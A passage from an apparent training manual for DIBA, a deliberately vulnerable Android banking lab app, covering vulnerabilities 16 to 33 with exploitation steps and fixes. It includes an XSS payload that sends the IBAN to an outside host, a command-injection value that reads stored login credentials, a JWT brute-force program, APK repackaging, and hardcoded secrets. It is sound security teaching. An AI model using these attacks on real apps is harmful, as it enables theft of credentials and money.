It is unlikely that a developer can make the exact same mistakes that were made in this implementation, since we had to explicitly deactivate the security measures on the vulnerable screens. However it is easy to forget to enable the measures in the first place which leads to no screens being protected.

Exploitation Instruction

1. Open one of these screens:
   - Accept the Payment: Login ⇒ Payments ⇒ Make Payment ⇒ Send
   - List of your Payments: Login ⇒ Payments ⇒ See Payments
   - Messages: Login ⇒ Messages
2. Leave the app with the Overview button
3. You will see a screenshot of the selected screen

Exploit Prevention

An easy solution is to build a parent activity with the following flag set: **Flag.getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE);**. This will deactivate the screenshot functionality on all screens. This solution is especially useful in apps where no screens should be visible on the recently used apps screen.

Vulnerability 16: Back Stack Clearing

Normally the back button opens the last used screen. However when a user is logging out of his account, this normal behaviour should be changed in a way so that a device holder wont be able to go back to the authenticated area of the user. However it is rather difficult to implement a correct and consistent back button behaviour in Android.

Basic Information

- Activity: Side drawer/ logout
- Attacker: Device Holder
- Target: Application users
- Asset under attack: Data
- Potential hints: Two logout buttons

Vulnerability

The two logout buttons don't have the same implementation. The secure one on the bottom of the main authenticated area activates a new and empty back stack upon logout. The one in the side drawer switches to the landing screen activity without meddling with the back stack. Therefore the user can circumvent the login screen and enter all other screens. There are some actions that will throw a user who is not logged in back to the login screen and create an empty back stack. The reason for this behaviour is that the session gets invalidated by the server, so any action which requires a response from the server will no longer work. However the device holder is still able to go through all sensitive information that the user has clicked on beforehand like messages, past payments etc.

How Could This Happen

The two logout buttons do not share the same class. Neither do they share a common parent class, which makes it harder to avoid code duplication. Once a developer has to duplicate code by just copying it from one place to the other it gets harder to maintain the codebase as a whole when adding new features or fixing bugs. As soon as a developer changes one logout function he has to remember to also make the same changes for the other function. So in this case it is entirely plausible that a developer remembered to clean the back stack for one logout function but forgot that there is a second one as well.

Exploitation Instruction

1. Login
2. Open the side drawer
3. Use the logout button in the side drawer
4. Use the back button
5. You still should be able to access certain activities

Exploit Prevention

Adhering to the DRY principle (Don't Repeat Yourself) would have prevented this issue, since both logout buttons would point to the same function. Another solution would be to check if the session token is set when resuming (**onResume()**) an activity. If the token is not set or not valid the app should redirect the user to the landing page activity with an empty back stack. The code to start an activity with an empty back stack can be found in listing 0.1.

```
startActivity(new Intent(this, <target Activity>.class).
    setFlags(Intent.FLAG_ACTIVITY_NEW_TASK } Intent.
    FLAG_ACTIVITY_CLEAR_TASK | Intent.
    FLAG_ACTIVITY_CLEAR_TOP));
```

Vulnerability 17: Payment Input Validation

When a user enters a payment he should only be able to send an amount that is positive. Subtracting a negative amount would result in increasing the balance of the user who is sending the payment. This should therefore be checked by the business logic of the app.

Basic Information

- Activity: Make a Payment
- Attacker: Device Owner
- Target: Bank and bank customers
- Asset under attack: Money
- Potential hints: It is possible to enter negative amounts
- Rating: easy

Vulnerability

The input validation when entering a payment is not complete. It doesn't check all input fields, which means it is possible to enter a negative amount of money to send. The negative value will then be added to the account balance.

How Could This Happen

Vulnerabilities like this can happen when multiple developers are working together on the same activity. Maybe one developer implemented a set of input fields and made sure to correctly validate the input. Later a second developer added more input fields and forgot about the validation part.

Exploitation Instruction

1. Open the Make a Payment screen
2. Enter a negative amount in the amount field
3. Enter a recipient and click on send
4. Accept payment
5. The absolute value you entered should have been added to your balance

Exploit Prevention

All input fields can be configured to allow just certain characters, which allows an easy input validation. For even more security it makes sense to further validate the input programmatically to apply security in depth, especially for critical input fields like the amount of money you want to send someone.

Vulnerability 18: Developer Entrance

If a user wants to access the authenticated part of the app, he has to create an account and login. However for the app developers and testers this process can be annoying when testing the application since they have to create a new account every time they build a new version of the application. To make testing easier the developers therefore have implemented a back door which allows them to easily navigate the authenticated part of the app. This back door has been shut before release, so no access is granted to normal users.

Basic Information

- Activity: Landing
- Attacker: Device Owner
- Target: App
- Asset under attack: Authentication
- Potential hints: Source code analysis
- Rating: medium

Vulnerability

A dev flag in the resources can turn the logo on the landing screen function into a back door for the main screen. A back door of any kind in an application is dangerous. With clever decompilation, change of resources and recompilation, the back door can be reactivated and exploited.

How Could This Happen

This vulnerability was designed to show that the developer has no control over the code after it was delivered to the user since recompilation of the app is always possible. Although precautions have been made upon release and the resource which controls the back door has been set to production, the developers have not fully deleted the back door in the code. This could have happened because of time constraints or lack of knowledge of the back door.

Exploitation Instruction

- Decompile app using apktool: **apktool d DIBA.apk**
- Go to res ⇒ values ⇒ bool.xml
- Change **is_2** to true
- Recompile the app using the apktool: **apktool b DIBA -o DIBADev.apk**
- The recompiled apk can be found in DIBA ⇒ dist
- Before being able to install the app you must sign it with a valid key [4]. If you have a key in a keystore already you can skip this part. Depending on your system, you must locate your keytool first and navigate to the folder it is in, then execute the following command: **keytool -genkey -v -keystore my-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias**
- Go to apksigner and sign the dev apk. Again depending on your system you must locate the apksigner and then execute the following command: **apksigner sign –ks /path/to/keystore.jks –ks-key-alias my-key-alias –out DIBADev2.apk DIBADev.apk**
- Uninstall the original app: **adb uninstall ch.zhaw.securitylab.DIBA**
- Install the apk with: **adb install DIBADev2.apk**
- Press the Logo on the landing page and enter the authenticated area

Exploit Prevention

The recompilation of the app itself cannot be prevented, but it can be made more difficult with the help of obfuscation. Although the general problem can't be solved by the app developer, removing all unnecessary code will increase the difficulty of an exploit like this, because an attacker then has to write all the code himself. Therefore make sure to remove all developer code that serves no purpose in production.

[4] For more information on signing apks, check outRe https://developer.android.com/studio/publish/app-signing.html#signing-manually

Vulnerability 19: App Backup

For easy transitioning between multiple devices many parts of the system are backup-able. So too are the apps. Their data can be packaged so the user is at no risk loosing application data when moving between devices.

Basic Information

- Activity: -
- Attacker: Device Holder
- Target: Device
- Asset under attack: Data
- Potential hints: Backups are not deactivated in the manifest file
- Rating: medium

Vulnerability

Android apps by default are backup-able. To do so one needs to be able to access the device over adb.

How Could This Happen

The Android manifest can contain a flag whether or not an application is backup-able. The default value for this flag is true, but does not need to be set in the manifest file at all. The documentation of this default behaviour is hard to find and the developers gets no warning or information of the security implications when using an IDE. Therefore it is highly likely that the developers did not know about this default behaviour.

Exploitation Instruction

- Use adb to make a backup of the app: **adb backup -f DIBA.ab -apk ch.zhaw.securitylab.DIBA**
- You will be prompted to enter a password on the Android device
- Convert the backup file into a tar archive using the Android-Backup-Extractor: **java -jar abe.jar unpack DIBA.ab DIBA.tar ""**
- You can now extract all the personal data of the device owner from the tar-archive

Exploit Prevention

Set the allowBackup flag in the Android manifest file to false, as can be seen in listing 0.1.

```
<manifest>
        <application android:allowBackup="false">...</
            application>
</manifest>
```

Vulnerability 20: Fragment Injection

The login and account creation are very similar in structure. To make things easier for the developer a fragment activity has been used to implement this. The credentials activity can be started with an argument that parses to the fragment that should be loaded. If any other screen should be added in the future, a new fragment could easily be added.

Basic Information

- Activity: Credentials: Login/Sign-In
- Attacker: Device Owner / Third party app
- Target: App
- Asset under attack: Trust boundary
- Potential hints: fragments get loaded by reflection
- Rating: ?

Vulnerability

If fragments are loaded via reflection and the activity is exported, it might be vulnerable to a fragment injection. Any fragment loaded reachable in the app can be loaded from such an activity, crossing trust boundaries or even accessing hidden code. In case of this app there is a fragment that contains code to navigate to various other activities in the app. One of these activities is an authenticated one. This means by using the fragment to access the authenticated activity we can cross the trust boundary without authentication.

```
String packageName = "ch.zhaw.securitylab.DIBA";
String className = "ch.zhaw.securitylab.DIBA.activity.
    unauth.ActivityCredentials";
Intent intent = new Intent();
intent.setClassName(packageName, className);
```

```
intent.putExtra("credentials_fragment", "ch.zhaw.
    securitylab.DIBA.activity.unauth.FragmentChange");
startActivity(intent);
```

How Could This Happen

Loading fragments by reflection is very convenient and has been widely accepted to be the standard method of loading fragments. In newer versions of Android it is possible to check fragments for validity, however since this is not mandatory it can easily be forgotten.

Exploitation Instruction

1. Search through fragment classes and their parent class
2. See that a menu can be displayed, namely the icon leading to ActivityAuthMain
3. Note that only FragmentChange enables this menu
4. Check how fragments are started ⇒ Intent with name or command
5. Locate FragmentChange and get their fully qualified name
6. Start activity as described in listing 0.1 or use the command:
   am start -n "ch.zhaw.securitylab.DIBA/ch.zhaw.securitylab.DIBA.activity.unauth.ActivityC
   -e credentials_fragment ch.zhaw.securitylab.DIBA.activity.unauth.FragmentChange
   after spawning an **adb shell**
7. Press the info button at the very top
8. Find yourself in the main authenticated screen

Exploit Prevention

From API-Level 19 onwards, the method **isValidFragment(String fragmentName)** in an activity can be overridden. This makes it nearly impossible to load a fragment that you didn't intend to load in this activity.

Vulnerability 21: Insecure Services

The class ServiceCurrencyExchange is a service used to change the exchange rates when switching between multiple currencies. The conversion is done locally on the users device.

Basic Information

- Service: ServiceCurrencyExchange
- Attacker: Remote Attacker
- Target: Device
- Asset under attack: money and data
- Potential hints: The service is explicitly set to exported
- Rating: ?

Vulnerability

When a service is created, the exported flag is set to true by default. No permissions are defined, so the service can be used by anyone. Since the service contains a functionality to modify the exchange rate locally with no checks on the server side, an attacker can overwrite the rates with his own.

How Could This Happen

The default behaviour when creating new services in regards to the export could pose a problem to developers unaware of this situation. It is not documented either and can therefore lead to an unintentionally exported service.

Exploitation Instruction

1. Get access to the Android Interface Definition Language (AIDL) file or recreate it. A decompiled version can be found in under the following path: **smali/ch/zhaw/securitylab/DIBA/AidlServiceCurrencyExchange.smali**. The original code can be found in listing 0.1
2. Create an app and put the AIDL file in the same package as the one in the DIBA app
3. Bind your app to the ServiceCurrencyExchange using the code in Listing 0.1
4. Use the method changeExchangeRate of the service to change the exchange rates (bind the method to a button for example)
5. When entering a new payment with a different currency, the new exchange rate will be applied

```
// IMyAidlInterface.aidl
package ch.zhaw.securitylab.DIBA;
interface AidlServiceCurrencyExchange {
        String getAmountInSfr(String amount, String
            currency);
        String[] getCurrencies();
        String getSfrString();
        void changeExchangeRate(String exchangeRate,
            String currency);
}
```

```
public class YourBoundActivity extends AppCompatActivity
    {
        private boolean bound;
        private AidlServiceCurrencyExchange service;

        @Override protected void onStart() {
                super.onStart();
                String packageName = "ch.zhaw.securitylab
                    .DIBA";
                String className = "ch.zhaw.securitylab.
                    DIBA.service.ServiceCurrencyExchange";
                Intent intent = new Intent();
                intent.setComponent(new ComponentName(
                    packageName, className));
                bindService(intent , Connection,
                    BIND_AUTO_CREATE);
        }

        @Override protected void onStop() {
                super.onStop();
                unbindService(Connection);
                bound = false;
        }

        private ServiceConnection Connection = new
            ServiceConnection() {
                public void onServiceConnected(
                    ComponentName className, IBinder
                    localService) {
                        service =
                            AidlServiceCurrencyExchange.
                            Stub.asInterface(localService)
                            ;
                        bound = true;
```

```
                }

                public void onServiceDisconnected(
                    ComponentName className) {
                        service = null;
                        bound = false;
                }
        };
}
```

Exploit Prevention

Protect your Service with a permission or set the exported flag to false.

Vulnerability 22: Weak JWT MAC Secret

The JWT consists of three parts with the third one being the HMAC over the first two parts. The key used for the HMAC hash function is derived from a password that is stored on the server, which means it should be somewhat out of reach for attackers. However there are other means to get the key, which are not protected.

Basic Information

- Activity: JWT used in main app context
- Attacker: Device Owner or Holder
- Target: Bank or user account
- Asset under attack: Login credential
- Potential hints: JWT standard implementation through Oauth could potentially give a hint towards the HMAC key being derived from a password.
- Rating: medium

Vulnerability

The hmac key password is weak and can be brute forced. The payload which is encrypted never changes (is not time dependable or anything) and can also easily be guessed. Thus, with enough time at hand, the whole procedure can be brute forced. The simpler the chosen password the easier it can be brute forced.

How Could This Happen

Choosing a weak password is pretty common, especially when multiple developers work together and have to share said password. This is ok during development, but for the release version a long and strong password should be chosen.

Exploitation Instruction

1. You can guess some parts of the JWT: The JWT needs some kind of identification information for the client, therefore this information is likely stored in a claim. The issuer name is likely the company name DIBA. The algorithm that was used to sign the token is also part. The standard template was made with the hmacsha256 algorithm.

2. Now it is just a matter of brute forcing all possible combinations with a small program like the one in listing **??**. Better use a wordlist for this task, as there are too many combinations to calculate in a timely manner. The correct password is **Security15**.

Exploit Prevention

Use a random key with an entropy of at least 128 bits as the secret.

```
private static String jwtCorrect = // ... from network
    response ...
private static char[] justSmall = "
    abcdefghijklmnopqrstuvwxyz".toCharArray ( );
private static char[] justNumbers = "1234567890".
    toCharArray();
private static char[] justBig = "
    ABCDEFGHIJKLMNOPQRSTUVWXYZ".toCharArray();

public static void main(String[] args) {
        StringBuilder password = new StringBuilder();
        int maxLength = 10;
        System.out.println("Starting with trial:");
        tryPossibleStrings(maxLength, justBig, password);
}

private static Object[] tryPossibleStrings(int maxLength,
     char[] alphabet, StringBuilder password) {
// If the current string has reached it's maximum length
        if (password.length() == maxLength) {
                String result = password.toString();
                String jwtGuess;
                try {
```

```
                    Algorithm algorithm = Algorithm.
                        HMAC256(result);
                    jwtGuess = JWT.create().
                        withIssuer("DIBA").withClaim("
                        user", "h@cker").sign(
                        algorithm);
            } catch (UnsupportedEncodingException e)
                {
                    throw new RuntimeException(e);
            }
            boolean equal = jwtCorrect.equals(
                jwtGuess);
            if (equal) System.out.println("Result: "
                + result + "Equal ");
            return new Object[] {equal, result};
    }
    for (char letter : alphabet) {
            Object[] guess = new Object[] {null, null
                };
            int len = password.length();
            char[] chars = len > 6 ? justNumbers :
                justSmall;
            if (len == 0) {
                    new Thread(()->{
                            StringBuilder builder =
                                new StringBuilder(
                                password);
                            builder.append(letter);
                            Object[] result =
                                tryPossibleStrings(
                                maxLength, chars,
                                builder);
                            guess[0] = result[0];
                            guess[1] = result[1];
                    }).start();
            } else {
                    password.append(letter);
                    Object[] result =
                        tryPossibleStrings(maxLength,
                        chars, password);
                    guess[0] = result[0];
                    guess[1] = result[1];
                    password.deleteCharAt(password.
                        length()-1);
            }
            // Shortcut evaluation
```

```
                if found if (guess[0] != null && guess
                    [0].equals(true)) return guess;
        }
        return new Object[] {null, null};
}
```

Vulnerability 23: Exploiting Someone Else Stored Login Credentials

The user has the ability to save his login credentials when login into the app. This improves the usability of the app as a whole, since the user don't have to remember and/or type in their username and password each time. A simple check box lets them enable or disable this feature.

Basic Information

- Activity: Log in
- Attacker: Device Holder
- Target: Device Owner
- Asset under attack: Information, money, privileges, data
- Potential hints: remember-me checkbox
- Rating: easy

Vulnerability

If the device holder lends the unlocked device to another person, they can access the whole app with all the privileges of the owner. Saving credentials on a user device is a trade off between security and usability. It has to be decided case by case, whether saving the credentials is acceptable from a security standpoint.

How Could This Happen

A feature like this has many security implications, some of them were not apparent for the developers. In most apps which don't handle much sensitive data, this feature is not that dangerous. However for a banking app that exposes some of the most important data it is always important to question whether this fuctionality makes sense.

Exploitation Instruction

1. Get access to an unlocked device
2. Login with the saved credentials
3. Do whatever you want within the app

Exploit Prevention

Only save the username of the user. On newer devices with face- ore fingerprint-ID, you can store and encrypt the credentials using those features and use them to login automatically. This way, the user needs have your face or fingerprint and your credentials can't be stolen. Note that those encrypted credentials might not be safe on a rooted device.

Vulnerability 24: SQLite Database

The DIBA app uses a local database to store user investments. The database is not encrypted and an attacker that has access to the device can get the database file and read the data it with a sql tool.

Basic Information

- Activity: Payments, Messages, Investments and Settings have all a local DB.
- Attacker: Device Holder
- Target: Device Owner
- Asset under attack: Information about transactions and account.
- Potential hints: local "datebases" folder in the installed app.
- Rating: medium

Vulnerability

It is important to consider that unencrypted data in local databases can be seen from anyone that has physical access to the device and developers must not store sensible information in there.

How Could This Happen

It can happen that for convenience or testing reasons developers also save sensible information. When the mechanism is not changed before release the application and the data is not removed, the application will suffer from this vulnerability. Often developers use local databases as cache memory for data that is usually requested multiple times from the client app.

Exploitation Instruction

1. The investment database is created once the user made some investments. The first step is to get access to a device with DIBA app installed and the investment feature unblocked. Once the database is created and there are some historical investments.
2. Connect to device shell
   `adb shell`
3. Get root privileges
   `su`
4. Go to databases
   `cd /data/data/ch.zhaw.securitylab.DIBA/databases`
5. Connect to investment database
   `sqlite3 investment`
6. Get the tables names from the db metadata
   `SELECT * FROM sqlite_master;`
7. Read investments history
   `SELECT * FROM investment;`
8. The same can be done to read the messages database.

Exploit Prevention

Never store sensible information locally. If really necessary, use encrypted databases and store cryptographic keys externally from the device.

Vulnerability 25: Native Language Library

The Java Native Interface allows android developers to use native language library to include already implemented functions in the application. Often these libraries are shared object (.so) written in C or C++ and do low-level computations.

Basic Information

- Activity: DIBA
- Attacker: Device Holder
- Target: Device Owner
- Asset under attack: Personal information
- Potential hints: loading of native library
- Rating: hard

Vulnerability

When sensible data is saved in this library experienced attackers can decompile the application and still read or reconstruct values hidden in native libraries.

How Could This Happen

Developers can use compiled library to satisfy security requirements (cryptographic functions) without realizing that once attackers gain access to the device the libraries can be decompiled and secrets or values as initialization vectors are exposed.

Exploitation Instruction

1. Get InbBank package name
   `adb shell pm list packages -f | grep DIBA`
2. Extract *apk* file from device.
   `adb pull data/app/ch.zhaw.securitylab.DIBA-hFwJYqU2bii_Aptip0S0jw==/base.apk DIBAStolen.apk`
3. Decompile *apk*.
   `jadx DIBAStolen.apk -d DIBADecompiled`
4. Find where the payment database is created.
   `find . -type f -exec grep -i payments {} +`
5. Detect *loadsecret()* native function in DIBA.java and get native library name
   System.loadLibrary("native-lib");
6. Locate native library
   `find . -type f -name "*.so"`
7. Extract strings from shared object.
   `strings resources/lib/x86/libnative-lib.so`
8. Read the secret key `n4t1v3sArEnT1nv1s1bl3` from the output.

The string can be extracted in different ways depending on the needs. In this case since it is easy to recognize the key the *strings* command is enough. More sophisticated tools to analyze binary files are *rabin2* and *radare2*.

Exploit Prevention

Developers must always remember that everything (even compiled files) on the device is visible by someone with access to the device and subject to attacks with decompilation and strings extraction. Also, security mechanism, like authentication must not be implemented locally. Consider an external component to store secrets and implement the security logic.

Vulnerability 26: Encrypted SQLite Database

The DIBA app uses a local database to store user payments. Since the payments details are considered sensible data the database is encrypted. This method is secure only if the secret key is not store in the device. The code that load the database uses a native library to load the secret key, this suggests that the key is stored locally and can be found on the device.

Basic Information

- Activity: DIBA
- Attacker: Device Holder
- Target: Device Owner
- Asset under attack: Personal information
- Potential hints: all other databases can be read without decryption. Look vulnerability 24 SQL Database
- Rating: hard

Vulnerability

Given that SQLite are readable from anyone that has access to the device. When developers must store sensible data locally they often use encrypted databases. This method is only secure as far as the key used to encrypt the database is not store anywhere on the device.

How Could This Happen

It possible that developers used encrypted database to store sensible data. They can think that store the encryption key in a hidden/compiled file as a native library is secure. This is never true because secrets, especially strings can be easily extracted even from compiled files. Further, attackers can decompile the application code and abuse the call to the compiled file to retrieve the secret from the library.

Exploitation Instruction

1. Once got the secret key from the *Native Library* vulnerability we can decrypt the payment database and read the content.
2. Copy payment database file
   `adb shell "run-as ch.zhaw.securitylab.DIBA cat databases/payments" > payments.db`

3. Get SQLcipher. This is needed as interface to the encrypted file, otherwise we can not read the data in the database with normal *sqlite3*.
   `git clone https://github.com/sqlcipher/sqlcipher.git`
4. Connect to payment database sqlcipher
   `./sqlcipher/sqlcipher payments.db`
5. Set the pragma key found in the native library.
   `PRAGMA KEY = 'n4t1v3sArEnT1nv1s1bl3';`
6. Get the tables names from the db metadata
   `SELECT * FROM sqlite_master;`
7. Read payments table
   `SELECT * FROM payment;`

Exploit Prevention

Never store sensible information locally. If really necessary, use encrypted databases and store cryptographic keys externally from the device.

Vulnerability 27: WebView Cross-Site Scripting

The DIBA application asks new customers to take part to a survey about the recent experience with the customer-service. The survey is available online and when accessed from within the app a *WebView* is used to display the survey. There is a *textfield* to insert comments that does not perform any check on the user input and allows attackers to inject html and javascript code that will be executed.

Basic Information

- Activity: ActivitySurvey
- Attacker: Anyone with access to the web survey
- Target: Other DIBA users
- Asset under attack: Sensible data
- Potential hints: no input validation in posted comments
- Rating: medium

Vulnerability

WebView objects allow to load web content inside an application activity. Further, one can enable the execution of *javascript* code in the view for having more control over the page, but at the same time he gives an attack vector to malicious users. The fact that web developers can display html inside the app and control it with *javascript* exposed the application to web vulnerabilities like cross-site scripting.

How Could This Happen

Developers may need to display web pages to users and to control better the layout and the content. They can enable the execution of *javascript* without thinking that they are giving attackers a way to interact with the application and may abuse the functionality.

Exploitation Instruction

1. Create a new account in the DIBA app.
2. Insert a comment that execute *javascript* code and send the personal IBAN value displayed in the page to the attacker server.
```
<script>
new Image().src = encodeURI('https://postb.in/
1589184632761-8206421809736?iban='+
document.getElementById('iban').text);
</script>
```
3. https://postb.in is a public available service for testing API calls. In our case we can send sensible data, like the IBAN from other users.

Exploit Prevention

It is not recommended to load web content inside mobile applications. If, of absolute importance for the application, don't allow the execution of *javascript* or implement all necessary prevention mechanisms for web attacks, for example input sanitization and validation.

Vulnerability 28: Cracking Weak Password

The DIBA app offers to real-time data from the stock market. Users must pay a subscription, after they received a code that allows the access to the functionality. The code is not visible but the hashed value is stored locally in the string.xml file of the application. The function is considered secure, but the secret is not hard enough and a brute-foce attack can recover the original password.

Basic Information

- Activity: ActivityAuthInvestWall
- Attacker: Device Holder
- Target: DIBA and other users
- Asset under attack: abusing of DIBA services
- Potential hints: hash and salt value in strings.xml
- Rating: ?

Vulnerability

Usually, passwords are not stored in clear but instead the hashed values of secret is used, the reason behind this is to prevent the exposure of sensible information to attackers that gain access to the password database or file. When the secret is not hard enough attackers can run a brute-force attack and recover the original secret from the hash value.

How Could This Happen

It is possible that developers consider secure saving the hashed value of a secret instead of the real value. This is true only with the use of strong secrets and hashing algorithms.

Exploitation Instruction

1. Get the hash and the salt values from the strings.xml file.
2. https://www.liavaag.org/English/SHA-Generator/
3. value: L0ngS4LtNoS3cure
4. hash: 1659b8868ebe5fa530e63330e28bf35d15879e42b3b0fe550f39a58a24132f67
5. Create a file hash.txt for *john the ripper* that contains the salt and hash value column separated.
   `L0ngS4Lt:1659b8868ebe5fa530e63330e28bf35d15879e42b3b0fe550f39a58a24132f67`
6. `john --incremental=alnum --format=Raw-SHA256 --fork=2 hash.txt`
7. After few hours you should get the secret *NoS3cure*

Exploit Prevention

Always ensure that passwords are generated following the strong password policy, for example in length and variety of symbols.

Vulnerability 29: Root Detection Bypass (hard)

To prevent abuse of the application often developers implement a mechanism that detects if the device is rooted, in that case the application changes behavior. The functions are usually implemented in the application code and attackers that have access to the device can decompile the code and remove the detection mechanism.

Basic Information

- Activity: ActivityLanding
- Attacker: Device Holder
- Target: DIBA
- Asset under attack: DIBA application
- Potential hints: the check is visible and fully implemented in Java
- Rating: hard

Vulnerability

When the activity is launch there is a function that checks for any signs of rooted device. The check is fully implemented in Java code that can be decompiled and modified.

How Could This Happen

This is not a real vulnerability, but it shows how easy is for attackers to bypass root detection mechanism.

Exploitation Instruction

1. Get InbBank package name
   `adb shell pm list packages -f | grep DIBA`
2. Extract *apk* file from device.
   `adb pull data/app/ch.zhaw.securitylab.`
   `DIBA-hFwJYqU2bii_Aptip0S0jw==/base.apk DIBAStolen.apk`
3. Decompile the application.
   `apktool d DIBA.apk -o DIBA_deco`
4. Check for files that contain "rootdetection"
   `find .  -type f -exec grep -i rootdetection {} +`

5. Open file with root detection mechanism.
   `DIBAdeco/smali/ch/zhaw/securitylab/DIBA/activity/unauth/ActivityLanding.smali`
   and modify the condition that triggers the detection. We can recognize the detection mechanism in the function code (line 208) we can replace. `if-nez` with `if-eqz`.

6. Check that the `AndroidManifest.xml` value `android:testOnly` is set to false.

7. Compile the application with the new code.
   `apktool b DIBA_deco -o malicious_DIBA.apk`

8. Self-sign the new application.
   `java -jar /Downloads/sign-master/target/sign-0.0.1-SNAPSHOT.jar maliciousDIBA.apk`

9. Install the new signed version on the device.
   `adb install malicious_DIBA.s.apk`

10. Launch the application, if it worked when opening the landing page the root detection mechanism will not be showed, even if the settings say that root detection is enable.

Exploit Prevention

There is no way to prevent that attackers have access to devices, it can be the legit mobile phone of the attacker that is used against the app. Developers must ensure that no sensible information about the security mechanisms is exposed, even in the case the attacker has physical access to the device.

Vulnerability 30: Local Command Injection

The application allows users to ping the API server to test the connectivity. The server IP value is read from an input field defined in the meta-settings of the application and users can update the value of the field. This allows the users to replace the IP value and insert arbitrary strings that will be then executed as argument of the *ping* command.

Basic Information

- Activity: ActivityMetasettings
- Attacker: Device Holder
- Target: DIBA application and other users
- Asset under attack: Sensible information

- Potential hints: "ping" command is probably executed in metasettings.
- Rating: ?

Vulnerability

The Android os allows to execute shell commands from Java. The features is very useful when developers have to work with system files and environmental variables. In the case the command takes an input argument from the user it is important to validate and sanitize the provided input such that the behavior of the command does not change and is not abused to do unexpected malicious things.

How Could This Happen

On one hand developers can forget to remove the functions after testing and doing so they open an attack vector for attackers. On the other hand local commands are sometimes needed and during the implementation developers can provide the function without the necessary input sanitization. This will allow attacker to inject commands on will be executed with the app privileges.

Exploitation Instruction

1. Open the meta-settings activity where the IP of the server is defined.
2. Append to the IP value the string
   `&& cat /data/data/ch.zhaw.securitylab.DIBA/shared_prefs/loginPreferences.xml`
3. The double ampersand allows the execution of multiple commands.
4. When the *ping* command is executed the output is printed to the logs, after the *ping* output there is the output of the *cat* command and we can read the login credentials stored in the file.

Exploit Prevention

After testing and before the realise all unused functions must be remove and functions that takes user inputs must implement sanitization of the input before the execute the code.

Vulnerability 31: Two-Factor Authentication I - Replaying Codes

To confirm a paymemnt, the user gets a payment confirmation code by SMS. Note that the SMS is simulated and written to the server output. This code is

generated and used in an insecure way. A first problem is that it is not bound to a specific payment and that it can be used for multiple payments.

Basic Information

- Activity: ActivityPayAccept
- Attacker: Device Holder, mitm
- Target: DIBA and other users
- Asset under attack: money, transactions
- Potential hints: the code is very short
- Rating: easy

Vulnerability

The code is not linked to any specific payment so it can be used to validate customized payments.

How Could This Happen

Often it is easier to only compare the generated code (one time password) with the one sent from the client without considering that the fact that the code is correct doesn't mean that was sent from the right client, for the right payment and during the right time limit.

Exploitation Instruction

Copy the code from the logs and use it with a customize request with the transaction amount desired.

Exploit Prevention

One time passwords must be used only once time in time and also must be linked to a payment so that they authenticate a single payment.

Vulnerability 32: Two-Factor Authentication II

Basic Information

- Activity:
- Attacker:
- Target:

- Asset under attack:
- Potential hints:
- Rating: easy

Vulnerability

How Could This Happen

Exploitation Instruction

Exploit Prevention

Vulnerability 33: Two-Factor Authentication III - Weak Code Generation

Users that submit a payment have to authenticate with a second factor to prevent misuse of actions that include sensible data. In DIBA app before the payment is accepted the user must insert a one-time code that is sent to the user's mobile phone as sms.

Basic Information

- Activity: ActivityPayAccept
- Attacker: Device Holder, mitm
- Target: DIBA and other users
- Asset under attack: money, transactions
- Potential hints: the text suggest that the code is generated with some datetime reference.
- Rating: medium

Vulnerability

Confirmation codes should be random so an attacker cannot predict them. n the case of DIBA, however, they are not really created in a random way, although they appear quite random when looking at them.

How Could This Happen

It is possible that when implementing a sms 2-factor authentication mechanism one consider secure the fact that only valid phone owners will get the code. It must be anyway guaranteed that the generation of the code contains enough randomness so that is not possible to guess the code.

Exploitation Instruction

Take the hash of the current datetime with interval of 10 minutes and just use the first 4 chars for the authentication code. For example, at 11:36 the one-time code would consider the first 4 chars of the value SHA256(11:30).

Exploit Prevention

Follow the best practice for generating one-time codes. Always ensure that the code format does not release information nor is guessable. The code must be valid for a short period of time and then make sure they are expired.